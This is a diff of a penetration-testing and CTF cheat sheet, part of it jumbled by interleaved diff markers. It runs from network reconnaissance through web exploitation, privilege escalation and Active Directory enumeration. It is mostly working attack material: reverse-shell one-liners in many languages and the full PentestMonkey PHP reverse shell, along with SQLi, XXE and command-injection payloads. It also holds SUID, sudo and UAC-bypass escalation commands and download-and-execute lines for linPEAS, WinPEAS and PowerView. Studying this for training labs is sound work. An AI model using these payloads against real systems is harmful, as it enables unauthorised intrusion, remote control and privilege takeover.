Updated to V2
This commit is contained in:
@@ -1,441 +1,278 @@
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# CTF_CheatSheet
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## **Stage 1 – Lay of the Land (Enumeration)**
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## Stage 1 - Lay of the Land
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### Active Reconnaissance
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### enumeration
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| Tool | Purpose | Key Command |
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|------|---------|------------|
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| **Nmap** | Port scanning & service detection | `nmap -sV -sC -oA nmap/basic [IP]` |
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| **Masscan** | Ultra-fast port scanning | `masscan [IP] -p 1-65535 --rate 10000 -oX masscan.xml` |
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| **Netdiscover** | ARP discovery on local network | `netdiscover -i [INTERFACE]` |
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| **RPC Client** | Enumerate RPC services & null sessions | `rpcclient -U "" [IP]` |
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| **Enum4Linux** | SMB/LDAP/RPC enumeration | `enum4linux [IP]` |
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* Active Recon
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* Nmap
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* Masscan
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* Network discovery
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* RPCClient
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* Enum4all
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### Passive Reconnaissance
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* Passive Recon
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* Shodan
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* Wayback Machine
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* The Harvester
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| Tool | Purpose |
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|------|---------|
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| **Shodan** | Internet-wide device search |
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| **Wayback Machine** | Historical website snapshots |
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| **The Harvester** | Email and subdomain enumeration |
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| **DNS Recon** | DNS enumeration and zone transfers |
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* List all the subdirectories and files
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* Gobuster
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* Backup File Artifacts Checker
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### Directory & File Enumeration
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| Tool | Command |
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|------|---------|
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| **Gobuster (HTTP)** | `gobuster dir -u http://[URL] -w [wordlist] -t 10 -r` |
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| **Gobuster (DNS)** | `gobuster dns -d [domain] -w [wordlist]` |
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| **Dirb** | `dirb http://[URL] /path/to/wordlist` |
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| **FFuF** | `ffuf -u http://[URL]/FUZZ -w [wordlist] -mc 200,204,301,302,307,401,403` |
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#### Nmap
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---
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```
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nmap -sV -sC -oA nmap/basic IP
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nmap [Scan Type] [Options] {target specification}
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```
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```
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* HOST DISCOVERY:
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- -sL: List Scan - simply list targets to scan
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- -sn/-sP: Ping Scan - disable port scan
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- -Pn: Treat all hosts as online -- skip host discovery
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* SCAN TECHNIQUES:
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- -sS/sT/sA/sW/sM: TCP SYN/Connect()/ACK/Window/Maimon scans
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- -sU: UDP Scan -sN/sF/sX: TCP Null, FIN, and Xmas scans
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* PORT SPECIFICATION:
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- -p : Only scan specified ports
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- Ex: -p22; -p1-65535; -p U:53,111,137,T:21-25,80,139,8080,S:9
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* SERVICE/VERSION DETECTION:
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-sV: Probe open ports to determine service/version info
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* OUTPUT:
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-oN/-oX/-oS/-oG : Output scan in normal, XML,Output in the three major formats at once
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-v: Increase verbosity level (use -vv or more for greater effect)
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* MISC:
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-6: Enable IPv6 scanning
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-A: Enable OS detection, version detection, script scanning, and traceroute
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```
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#### Masscan
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## **Nmap Deep Dive**
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```bash
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masscan IP -p 1-65535 --rate 100 -oX masscan.xml
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# Basic comprehensive scan
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nmap -sV -sC -oA nmap/basic [IP]
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# All ports with version detection
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nmap -p- -sV -oA nmap/full [IP]
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# Aggressive scan with OS detection
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nmap -A -T4 [IP]
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# UDP scan
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nmap -sU -p 53,161,162,445,500 [IP]
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# Stealth scan (SYN)
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nmap -sS -p- [IP]
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# Script scan (NSE)
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nmap --script vuln [IP]
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# Service version enumeration
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nmap -sV --script smb-enum-shares -p 445 [IP]
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```
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### Nmap Command Reference
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| Option | Discription |
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|--------|-------------|
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| -p | Ports to scan, E.g. -p80,8000-8100 |
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| --rate= | Rate of Packets-per-Second, E,g --rate=10000 = 10kpps (Too High can cause a Jam) |
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| --banners | -oB <filename>: save results of scan in binary format to <filename> |
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| -oX <savefile> | save them as xml in <savefile>|
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| --open --banners --readscan <filename> -oX <savefile> | read binary scan results in <filename> and save them as xml in <savefile> |
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| --nmap | Options Compatable with Nmap|
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**HOST DISCOVERY:**
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- `-sL` – List Scan
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- `-sn` – Ping Scan (no port scan)
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- `-Pn` – Skip host discovery, treat all as online
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##### Compatable Nmap Options
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```
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TARGET SPECIFICATION:
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Can pass only IPv4/IPv6 address, CIDR networks, or ranges (non-nmap style)
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Ex: 10.0.0.0/8, 192.168.0.1, 10.0.0.1-10.0.0.254
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-iL <inputfilename>: Input from list of hosts/networks
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--exclude <host1[,host2][,host3],...>: Exclude hosts/networks
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--excludefile <exclude_file>: Exclude list from file
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--randomize-hosts: Randomize order of hosts (default)
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HOST DISCOVERY:
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-Pn: Treat all hosts as online (default)
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-n: Never do DNS resolution (default)
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SCAN TECHNIQUES:
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-sS: TCP SYN (always on, default)
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SERVICE/VERSION DETECTION:
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--banners: get the banners of the listening service if available. The
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default timeout for waiting to receive data is 30 seconds.
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PORT SPECIFICATION AND SCAN ORDER:
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-p <port ranges>: Only scan specified ports
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Ex: -p22; -p1-65535; -p 111,137,80,139,8080
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TIMING AND PERFORMANCE:
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--max-rate <number>: Send packets no faster than <number> per second
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--connection-timeout <number>: time in seconds a TCP connection will
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timeout while waiting for banner data from a port.
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FIREWALL/IDS EVASION AND SPOOFING:
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-S/--source-ip <IP_Address>: Spoof source address
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-e <iface>: Use specified interface
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-g/--source-port <portnum>: Use given port number
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--ttl <val>: Set IP time-to-live field
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--spoof-mac <mac address/prefix/vendor name>: Spoof your MAC address
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OUTPUT:
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--output-format <format>: Sets output to binary/list/unicornscan/json/ndjson/grepable/xml
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--output-file <file>: Write scan results to file. If --output-format is
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not given default is xml
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-oL/-oJ/-oD/-oG/-oB/-oX/-oU <file>: Output scan in List/JSON/nDjson/Grepable/Binary/XML/Unicornscan format,
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respectively, to the given filename. Shortcut for
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--output-format <format> --output-file <file>
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-v: Increase verbosity level (use -vv or more for greater effect)
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-d: Increase debugging level (use -dd or more for greater effect)
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--open: Only show open (or possibly open) ports
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--packet-trace: Show all packets sent and received
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--iflist: Print host interfaces and routes (for debugging)
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--append-output: Append to rather than clobber specified output files
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--resume <filename>: Resume an aborted scan
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MISC:
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--send-eth: Send using raw ethernet frames (default)
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-V: Print version number
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-h: Print this help summary page.
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EXAMPLES:
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masscan -v -sS 192.168.0.0/16 10.0.0.0/8 -p 80
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masscan 23.0.0.0/0 -p80 --banners -output-format binary --output-filename internet.scan
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masscan --open --banners --readscan internet.scan -oG internet_scan.grepable
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```
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**SCAN TECHNIQUES:**
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- `-sS` – TCP SYN (stealthy)
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- `-sT` – TCP Connect
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- `-sU` – UDP Scan
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- `-sA` – ACK Scan
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- `-sN/-sF/-sX` – NULL/FIN/Xmas Scans
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**PORT SPECIFICATION:**
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- `-p 22,80,443` – Specific ports
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- `-p 1-65535` – All ports
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- `-p U:53,T:80` – Mixed UDP/TCP
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**OUTPUT:**
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- `-oN` – Normal
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- `-oX` – XML
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- `-oG` – Grepable
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- `-oA` – All formats
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#### Netdiscover
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---
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```
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netdiscover -i <INTERFACE>
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```
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#### DirBuster / GoBuster
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## **Masscan Reference**
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```bash
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./gobuster -u http://buffered.io/ -w /secondary/wordlists/more-lists/dirb/ -t 10
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-u url
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-w wordlist
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-t threads
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# Fast scan all ports
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masscan [IP/CIDR] -p 1-65535 --rate 10000 -oX output.xml
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More subdomain :
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./gobuster -m dns -w subdomains.txt -u google.com -i
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# Grab banners
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masscan [IP/CIDR] -p 80,443,8080 --banners -oX output.xml
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gobuster -w wordlist -u URL -r -e /secondary/wordlists/more-lists/dirb/
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# Read and convert binary results
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masscan --open --banners --readscan input.bin -oX output.xml
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```
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---
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## Stage 2 - Foothold
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## **Stage 2 – Initial Access (Foothold)**
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### Web Exploitation
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### Attacking - Web Reverse Shells
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#### Common Web Vulns to Exploit
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Kali / Parrot OS
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| Vulnerability | Description | Exploitation |
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|---|---|---|
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| **SQL Injection** | Database query manipulation | `' OR '1'='1'; --` |
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| **XSS** | JavaScript injection in DOM | `<img src=x onerror="alert('XSS')">` |
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| **CSRF** | Cross-Site Request Forgery | Forge requests with valid session tokens |
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| **Path Traversal** | Access files outside intended dir | `../../../etc/passwd` |
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| **XXE** | XML External Entity injection | `<!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]>` |
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| **SSRF** | Server-Side Request Forgery | `http://localhost:8080/admin` |
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| **Command Injection** | OS command execution | `; cat /etc/passwd` |
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| **LFI/RFI** | Local/Remote File Inclusion | `?file=../../../../etc/passwd` |
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#### SQLMap
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```bash
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# Basic SQL injection test
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sqlmap -u "http://[URL]?id=1" --dbs
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# Dump all databases
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sqlmap -u "http://[URL]?id=1" --dump-all
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# OS shell
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sqlmap -u "http://[URL]?id=1" --os-shell
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# POST request
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sqlmap -u "http://[URL]" --data="user=admin&pass=test" -p user --dbs
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```
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cd /usr/share/webshells/
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#### Burp Suite Workflow
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1. **Capture traffic** in Proxy
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2. **Send to Repeater** for manual testing
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3. **Send to Intruder** for fuzzing/brute force
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4. **Scanner** for automated vulnerability detection
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5. **Decoder** for encoding/decoding payloads
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#### Web Shell Uploads
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```bash
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# Test file upload with shell
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# Common shell names: shell.php, index.php, upload.php
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# Check upload bypass techniques:
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# - shell.php.jpg
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# - shell.jpg.php
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# - shell.php%00.jpg
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# - shell.phtml
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# - shell.shtml
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# - shell.phar
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```
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### Reverse Shells & Initial Access
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#### Listener Setup
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```bash
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# Netcat listener
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nc -lvnp [PORT]
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# Multi-handler (Metasploit)
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msfconsole
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> use exploit/multi/handler
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> set PAYLOAD windows/meterpreter/reverse_tcp
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> set LHOST [YOUR_IP]
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> set LPORT [PORT]
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> run
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```
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#### Reverse Shell Payloads
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| Language | Command |
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|----------|---------|
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| **Bash** | `bash -i >& /dev/tcp/[IP]/[PORT] 0>&1` |
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| **Python** | `python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("[IP]",[PORT]));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);import pty; pty.spawn("/bin/bash")'` |
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| **PHP** | `php -r '$sock=fsockopen("[IP]",[PORT]);exec("/bin/sh -i <&3 >&3 2>&3");'` |
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| **Node.js** | `require('child_process').exec("bash -c 'bash -i >& /dev/tcp/[IP]/[PORT] 0>&1'");` |
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| **PowerShell** | `powershell -NoP -NonI -W Hidden -Exec Bypass -Command New-Object System.Net.Sockets.TCPClient("[IP]",[PORT]);$stream = $client.GetStream();[byte[]]$bytes = 0..65535\|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()` |
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| **Java** | See payload generators at http://www.jackson-t.ca/runtime-exec-payloads.html |
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#### PentestMonkey PHP Reverse Shell
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php-reverse-shell - A Reverse Shell implementation in PHP
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**PentestMonkey PHP Reverse Shell:** A Reverse Shell implementation in PHP - Check https://github.com/pentestmonkey/php-reverse-shell
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* php-reverse-shell - A Reverse Shell implementation in PHP
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* Copyright (C) 2007 pentestmonkey@pentestmonkey.net
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```
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<?php
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//
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// Description
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// -----------
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// This script will make an outbound TCP connection to a hardcoded IP and port.
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// The recipient will be given a shell running as the current user (apache normally).
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//
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// Limitations
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// -----------
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// proc_open and stream_set_blocking require PHP version 4.3+, or 5+
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// Use of stream_select() on file descriptors returned by proc_open() will fail and return FALSE under Windows.
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// Some compile-time options are needed for daemonisation (like pcntl, posix). These are rarely available.
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//
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// Usage
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// -----
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// See http://pentestmonkey.net/tools/php-reverse-shell if you get stuck.
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set_time_limit (0);
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$VERSION = "1.0";
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$ip = '127.0.0.1'; // CHANGE THIS
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$port = 1234; // CHANGE THIS
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$chunk_size = 1400;
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$write_a = null;
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$error_a = null;
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$shell = 'uname -a; w; id; /bin/sh -i';
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$daemon = 0;
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$debug = 0;
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//
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// Daemonise ourself if possible to avoid zombies later
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//
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// pcntl_fork is hardly ever available, but will allow us to daemonise
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// our php process and avoid zombies. Worth a try...
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if (function_exists('pcntl_fork')) {
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// Fork and have the parent process exit
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$pid = pcntl_fork();
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if ($pid == -1) {
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printit("ERROR: Can't fork");
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exit(1);
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||||
}
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||||
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if ($pid) {
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||||
exit(0); // Parent exits
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||||
}
|
||||
|
||||
// Make the current process a session leader
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||||
// Will only succeed if we forked
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if (posix_setsid() == -1) {
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printit("Error: Can't setsid()");
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||||
exit(1);
|
||||
}
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||||
|
||||
$daemon = 1;
|
||||
} else {
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||||
printit("WARNING: Failed to daemonise. This is quite common and not fatal.");
|
||||
}
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||||
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||||
// Change to a safe directory
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chdir("/");
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||||
// Remove any umask we inherited
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umask(0);
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|
||||
//
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||||
// Do the reverse shell...
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//
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||||
|
||||
// Open reverse connection
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$sock = fsockopen($ip, $port, $errno, $errstr, 30);
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||||
if (!$sock) {
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printit("$errstr ($errno)");
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exit(1);
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||||
}
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||||
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||||
// Spawn shell process
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$descriptorspec = array(
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0 => array("pipe", "r"), // stdin is a pipe that the child will read from
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||||
1 => array("pipe", "w"), // stdout is a pipe that the child will write to
|
||||
2 => array("pipe", "w") // stderr is a pipe that the child will write to
|
||||
);
|
||||
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||||
$process = proc_open($shell, $descriptorspec, $pipes);
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||||
|
||||
if (!is_resource($process)) {
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printit("ERROR: Can't spawn shell");
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||||
exit(1);
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||||
}
|
||||
|
||||
// Set everything to non-blocking
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||||
// Reason: Occsionally reads will block, even though stream_select tells us they won't
|
||||
stream_set_blocking($pipes[0], 0);
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stream_set_blocking($pipes[1], 0);
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stream_set_blocking($pipes[2], 0);
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stream_set_blocking($sock, 0);
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printit("Successfully opened reverse shell to $ip:$port");
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||||
|
||||
while (1) {
|
||||
// Check for end of TCP connection
|
||||
if (feof($sock)) {
|
||||
printit("ERROR: Shell connection terminated");
|
||||
break;
|
||||
}
|
||||
|
||||
// Check for end of STDOUT
|
||||
if (feof($pipes[1])) {
|
||||
printit("ERROR: Shell process terminated");
|
||||
break;
|
||||
}
|
||||
|
||||
// Wait until a command is end down $sock, or some
|
||||
// command output is available on STDOUT or STDERR
|
||||
$read_a = array($sock, $pipes[1], $pipes[2]);
|
||||
$num_changed_sockets = stream_select($read_a, $write_a, $error_a, null);
|
||||
|
||||
// If we can read from the TCP socket, send
|
||||
// data to process's STDIN
|
||||
if (in_array($sock, $read_a)) {
|
||||
if ($debug) printit("SOCK READ");
|
||||
$input = fread($sock, $chunk_size);
|
||||
if ($debug) printit("SOCK: $input");
|
||||
fwrite($pipes[0], $input);
|
||||
}
|
||||
|
||||
// If we can read from the process's STDOUT
|
||||
// send data down tcp connection
|
||||
if (in_array($pipes[1], $read_a)) {
|
||||
if ($debug) printit("STDOUT READ");
|
||||
$input = fread($pipes[1], $chunk_size);
|
||||
if ($debug) printit("STDOUT: $input");
|
||||
fwrite($sock, $input);
|
||||
}
|
||||
|
||||
// If we can read from the process's STDERR
|
||||
// send data down tcp connection
|
||||
if (in_array($pipes[2], $read_a)) {
|
||||
if ($debug) printit("STDERR READ");
|
||||
$input = fread($pipes[2], $chunk_size);
|
||||
if ($debug) printit("STDERR: $input");
|
||||
fwrite($sock, $input);
|
||||
}
|
||||
}
|
||||
|
||||
fclose($sock);
|
||||
fclose($pipes[0]);
|
||||
fclose($pipes[1]);
|
||||
fclose($pipes[2]);
|
||||
proc_close($process);
|
||||
|
||||
// Like print, but does nothing if we've daemonised ourself
|
||||
// (I can't figure out how to redirect STDOUT like a proper daemon)
|
||||
function printit ($string) {
|
||||
if (!$daemon) {
|
||||
print "$string\n";
|
||||
}
|
||||
}
|
||||
|
||||
?>
|
||||
```
|
||||
|
||||
* Short One-Line PHP Reverse Shell Injection
|
||||
```
|
||||
php -r '$sock=fsockopen("IP",PORT);exec("/bin/sh -i <&3 >&3 2>&3");'
|
||||
```
|
||||
|
||||
|
||||
#### Built-in Tools
|
||||
|
||||
| Program | Command |
|
||||
|----------|---------|
|
||||
| Netcat Listen | ncat -lvnp 4444 |
|
||||
| Bash | bash -i >& /dev/tcp/IP/4444 0>&1 |
|
||||
| Bash | bash -c 'bash -i >& /dev/tcp/IP/4444 0>&1' |
|
||||
| PHP | php -r '$sock=fsockopen("^IP^",4444);exec("/bin/sh -i <&3 >&3 2>&3");'` |
|
||||
| Netcat Connect | nc -e /bin/sh ^IP^ 4444`|
|
||||
| Telnet | mknod backpipe p && telnet ^IP^ 4444 0<backpipe | /bin/bash 1>backpipe` |
|
||||
| Python | python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("IP",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'` |
|
||||
| Ruby | ruby -rsocket -e 'exit if fork;c=TCPSocket.new("^IP^","4444");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'` |
|
||||
| Node.js | var net = require("net"), sh = require("child_process").exec("/bin/bash"); var client = new net.Socket(); client.connect(4444, "^IP^", function(){client.pipe(sh.stdin);sh.stdout.pipe(client); sh.stderr.pipe(client);}); |
|
||||
| | require('child_process').exec("bash -c 'bash -i >& /dev/tcp/^IP^/4444 0>&1'");` |
|
||||
| Java | Runtime r = Runtime.getRuntime();Process p = r.exec(new String[]{"/bin/bash","-c","exec 5<>/dev/tcp/IP/4444;cat <&5 | while read line; do $line 2>&5 >&5; done"});p.waitFor();` |
|
||||
| Java | java.lang.Runtime.exec()` payload generator: http://www.jackson-t.ca/runtime-exec-payloads.html |
|
||||
| Powershell | powershell IEX (New-Object System.Net.Webclient).DownloadString('https://raw.githubusercontent.com/besimorhino/powercat/master/powercat.ps1');powercat -c ^IP^ -p 4444 -e cmd |
|
||||
|
||||
|
||||
|
||||
#### Spawning a Shell
|
||||
|
||||
To check if the shell is a tty shell, just enter tty command like the following.
|
||||
#### Upgrade Shell to TTY (Linux)
|
||||
|
||||
```bash
|
||||
# Check if TTY
|
||||
tty
|
||||
```
|
||||
not a tty
|
||||
|
||||
```bash
|
||||
tty
|
||||
```
|
||||
/dev/pts/0
|
||||
# Upgrade with Python
|
||||
python3 -c "import pty;pty.spawn('/bin/bash')"
|
||||
|
||||
Here are some commands which will enable you to spawn a tty shell:
|
||||
Python:
|
||||
|
||||
This is the most popular method for spawnings a tty shell. The target server should have python or python3 installed.
|
||||
|
||||
|Methord | Command |
|
||||
|----------|-----------|
|
||||
| * Python | python -c "import pty;pty.spawn('/bin/bash')" |
|
||||
| * Python3 | python3 -c "import pty;pty.spawn('/bin/bash')" |
|
||||
| * Echo: | echo 'os.system('/bin/bash')'|
|
||||
| * sh: | /bin/sh -i|
|
||||
| * Bash: | /bin/bash -i|
|
||||
| * Perl: | perl -e 'exec "/bin/sh";'|
|
||||
| * Ruby: | ruby: exec "/bin/sh"|
|
||||
| * Lua: | lua: os.execute('/bin/sh')|
|
||||
| * From within vi: | :!bash , :set shell=/bin/bash:shell |
|
||||
| * From within nmap: | !sh |
|
||||
|
||||
- To make the Shell Usable:
|
||||
```
|
||||
Ctrl+Z
|
||||
stty raw -echo
|
||||
fg
|
||||
# Full interactive terminal
|
||||
stty raw -echo; fg
|
||||
export TERM=xterm
|
||||
```
|
||||
|
||||
#### Windows Reverse Shell (PowerShell)
|
||||
|
||||
```powershell
|
||||
# Powershell reverse shell
|
||||
$client = New-Object System.Net.Sockets.TCPClient("[IP]",[PORT])
|
||||
$stream = $client.GetStream()
|
||||
[byte[]]$bytes = 0..65535|%{0}
|
||||
while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0) {
|
||||
$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0,$i)
|
||||
$sendback = (iex $data 2>&1 | Out-String)
|
||||
$sendback2 = $sendback + "PS " + (pwd).Path + "> "
|
||||
$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2)
|
||||
$stream.Write($sendbyte,0,$sendbyte.Length)
|
||||
$stream.Flush()
|
||||
}
|
||||
$client.Close()
|
||||
|
||||
## Stage 3 - Post Exploitation
|
||||
|
||||
### Lets Have a Look Around
|
||||
|
||||
##### PEASS-ng
|
||||
|
||||
| OS | Links |
|
||||
|----|------|
|
||||
| Linux | https://github.com/carlospolop/PEASS-ng/blob/master/linPEAS/linpeas.sh |
|
||||
| Windows x68 | https://github.com/carlospolop/PEASS-ng/raw/master/winPEAS/winPEASexe/binaries/x64/Release/winPEASx64.exe |
|
||||
|Windows x86 | https://github.com/carlospolop/PEASS-ng/raw/master/winPEAS/winPEASexe/binaries/x86/Release/winPEASx86.exe |
|
||||
|
||||
|
||||
|
||||
### Escalate Privileges
|
||||
|
||||
|
||||
##### SUID
|
||||
|
||||
* Find SUID Files
|
||||
| Command| Discription |
|
||||
|--------|-------------|
|
||||
| find / -user root -perm -4000 2>/dev/null | Find SUID Files |
|
||||
|
||||
|
||||
* SUID Cheatsheet
|
||||
* systemctl
|
||||
# One-liner
|
||||
powershell -nop -c "$client = New-Object System.Net.Sockets.TCPClient('[IP]',[PORT]);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0,$i);$sendback = (iex $data 2>&1 | Out-String);$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"
|
||||
```
|
||||
cd /tmp
|
||||
TF=$(mktemp).service
|
||||
echo '[Service]
|
||||
Type=oneshot
|
||||
ExecStart=/bin/sh -c "COMMAND HERE"
|
||||
[Install]
|
||||
WantedBy=multi-user.target' > $TF
|
||||
systemctl link $TF
|
||||
systemctl enable --now $TF
|
||||
|
||||
---
|
||||
|
||||
## **Stage 3 – Privilege Escalation**
|
||||
|
||||
### Linux Privilege Escalation
|
||||
|
||||
#### Quick Enumeration
|
||||
|
||||
```bash
|
||||
# Check current user and groups
|
||||
id
|
||||
whoami
|
||||
groups
|
||||
|
||||
# Kernel version
|
||||
uname -a
|
||||
cat /etc/os-release
|
||||
|
||||
# Check SUID binaries
|
||||
find / -user root -perm -4000 2>/dev/null
|
||||
|
||||
# Check for writable directories
|
||||
find / -type d -writable 2>/dev/null
|
||||
|
||||
# Check sudo permissions
|
||||
sudo -l
|
||||
|
||||
# Check cron jobs
|
||||
crontab -l
|
||||
cat /etc/cron* -l
|
||||
|
||||
# Check installed applications
|
||||
apt list --installed
|
||||
pip list
|
||||
npm list -g
|
||||
```
|
||||
* Create a Service that will give `/bin/bash` a Root SUID
|
||||
|
||||
#### SUID Exploitation
|
||||
|
||||
**Find SUID binaries:**
|
||||
```bash
|
||||
find / -user root -perm -4000 2>/dev/null
|
||||
```
|
||||
|
||||
**Exploit with GTFOBins:** Check https://gtfobins.github.io/ for SUID/sudo escapes
|
||||
|
||||
**Common SUID Exploits:**
|
||||
|
||||
```bash
|
||||
# systemctl privilege escalation
|
||||
cd /tmp
|
||||
TF=$(mktemp).service
|
||||
echo '[Service]
|
||||
@@ -446,17 +283,177 @@ WantedBy=multi-user.target' > $TF
|
||||
systemctl link $TF
|
||||
systemctl enable --now $TF
|
||||
/tmp/bash -p
|
||||
|
||||
# Find library injection opportunities
|
||||
ldd /path/to/suid/binary
|
||||
|
||||
# Shared library hijacking
|
||||
mkdir -p /tmp/lib
|
||||
echo 'int __libc_start_main() { system("bash"); return 0; }' > /tmp/lib/evil.c
|
||||
gcc -shared -fPIC /tmp/lib/evil.c -o /tmp/lib/evil.so
|
||||
LD_LIBRARY_PATH=/tmp/lib:/usr/lib /path/to/suid/binary
|
||||
```
|
||||
|
||||
#### Capability Escalation
|
||||
|
||||
Search [GTFO Bins](https://gtfobins.github.io/) for exploits
|
||||
```bash
|
||||
# Check for capabilities
|
||||
getcap -r / 2>/dev/null
|
||||
|
||||
# Exploit (example: cap_setuid)
|
||||
# Look up on GTFOBins for specific binary
|
||||
```
|
||||
|
||||
#### Sudo Exploitation
|
||||
|
||||
```bash
|
||||
# Check sudo permissions
|
||||
sudo -l
|
||||
|
||||
##### Linux Tools
|
||||
# If ALL=(ALL) NOPASSWD: /usr/bin/python3
|
||||
sudo /usr/bin/python3 -c "import os;os.system('/bin/bash')"
|
||||
|
||||
# Exploiting wildcards in sudo commands
|
||||
# If: sudo /usr/bin/script.sh /tmp/*
|
||||
# Create: /tmp/evil.sh
|
||||
```
|
||||
|
||||
#### Kernel Exploitation
|
||||
|
||||
```bash
|
||||
# Find kernel exploits
|
||||
# Use: searchsploit, Exploit-DB
|
||||
|
||||
# Common kernels:
|
||||
# 4.4.0-21 – CVE-2016-5195 (Dirty COW)
|
||||
# 5.4.0 – overlayfs exploit
|
||||
gcc -o exploit exploit.c
|
||||
./exploit
|
||||
```
|
||||
|
||||
#### PEASS Enumeration
|
||||
|
||||
```bash
|
||||
# Download and run linPEAS
|
||||
curl https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh | bash
|
||||
|
||||
# Or:
|
||||
wget https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh
|
||||
chmod +x linpeas.sh
|
||||
./linpeas.sh
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
### Windows Privilege Escalation
|
||||
|
||||
#### Quick Enumeration
|
||||
|
||||
```powershell
|
||||
# Current user and groups
|
||||
whoami
|
||||
whoami /groups
|
||||
net user %USERNAME%
|
||||
|
||||
# System info
|
||||
systeminfo
|
||||
Get-ComputerInfo
|
||||
|
||||
# Check privileges
|
||||
whoami /priv
|
||||
|
||||
# List installed applications
|
||||
Get-ItemProperty HKLM:\Software\Microsoft\Windows\CurrentVersion\Uninstall\* | Select DisplayName
|
||||
```
|
||||
|
||||
#### Windows Privilege Escalation Vectors
|
||||
|
||||
| Vector | Check | Exploitation |
|
||||
|--------|-------|--------------|
|
||||
| **Unquoted Service Paths** | `wmic service list brief` | Place exe in path before target |
|
||||
| **Weak Service Permissions** | `accesschk.exe -ucqv [SERVICE]` | Modify service binary or path |
|
||||
| **AlwaysInstallElevated** | Registry check | `msiexec /i shell.msi /qn` |
|
||||
| **Scheduled Tasks** | `schtasks /query /v` | Replace task binary |
|
||||
| **Weak Registry Permissions** | Check ACLs on HKLM | Modify to point to malicious binary |
|
||||
| **Kernel Exploits** | `systeminfo` for OS version | Search Exploit-DB |
|
||||
| **UAC Bypass** | Check UAC status | Use bypassuac tools or exploits |
|
||||
|
||||
#### WinPEAS
|
||||
|
||||
```powershell
|
||||
# Download and run WinPEAS
|
||||
IEX(New-Object System.Net.WebClient).DownloadString('https://raw.githubusercontent.com/carlospolop/PEASS-ng/master/winPEAS/winPEASps1/winPEAS.ps1')
|
||||
|
||||
# Or direct binary
|
||||
.\winPEASx64.exe
|
||||
```
|
||||
|
||||
#### Common Windows Exploits
|
||||
|
||||
```powershell
|
||||
# Unquoted service path exploitation
|
||||
# Service: C:\Program Files\App\Service.exe
|
||||
# Create: C:\Program.exe or C:\Program Files\App.exe
|
||||
|
||||
# AlwaysInstallElevated exploitation
|
||||
msiexec /i malicious.msi /qn /norestart
|
||||
|
||||
# Scheduled task exploitation (if you can write to task location)
|
||||
schtasks /create /tn evil /tr "C:\path\to\malicious.exe" /sc minute /mo 1
|
||||
|
||||
# UAC bypass - fodhelper.exe
|
||||
New-Item -Path "HKCU:\Software\Classes\ms-settings\Shell\Open\command" -Value "cmd.exe /c C:\path\to\payload.exe" -Force
|
||||
fodhelper.exe
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## **Stage 4 – Active Directory (AD)**
|
||||
|
||||
### AD Enumeration
|
||||
|
||||
#### Basic Tools & Commands
|
||||
|
||||
```powershell
|
||||
# Get domain info
|
||||
[System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain()
|
||||
|
||||
# List domain users
|
||||
Get-ADUser -Filter * | Select Name, SamAccountName
|
||||
|
||||
# List domain groups
|
||||
Get-ADGroup -Filter * | Select Name
|
||||
|
||||
# List group members
|
||||
Get-ADGroupMember "Domain Admins"
|
||||
|
||||
# Check current user's groups
|
||||
whoami /groups
|
||||
|
||||
# Find trusts
|
||||
Get-ADTrust -Filter *
|
||||
```
|
||||
|
||||
#### PowerView (AD Recon Toolkit)
|
||||
|
||||
```powershell
|
||||
# Download PowerView
|
||||
IEX(New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Recon/PowerView.ps1')
|
||||
|
||||
# Get domain info
|
||||
Get-NetDomain
|
||||
Get-NetForest
|
||||
|
||||
# Enumerate users
|
||||
Get-NetUser | Select name, lastlogon, pwdlastset
|
||||
Get-NetUser -UACFilter DONT_EXPIRE_PASSWORD
|
||||
|
||||
# Find interesting shares
|
||||
Invoke-ShareFinder
|
||||
|
||||
# Get group membership
|
||||
Get-NetGroup "Domain Admins" | Get-NetGroupMember
|
||||
|
||||
# Find admin users
|
||||
Get-NetUser -Admin
|
||||
```
|
||||
|
||||
Reference in New Issue
Block a user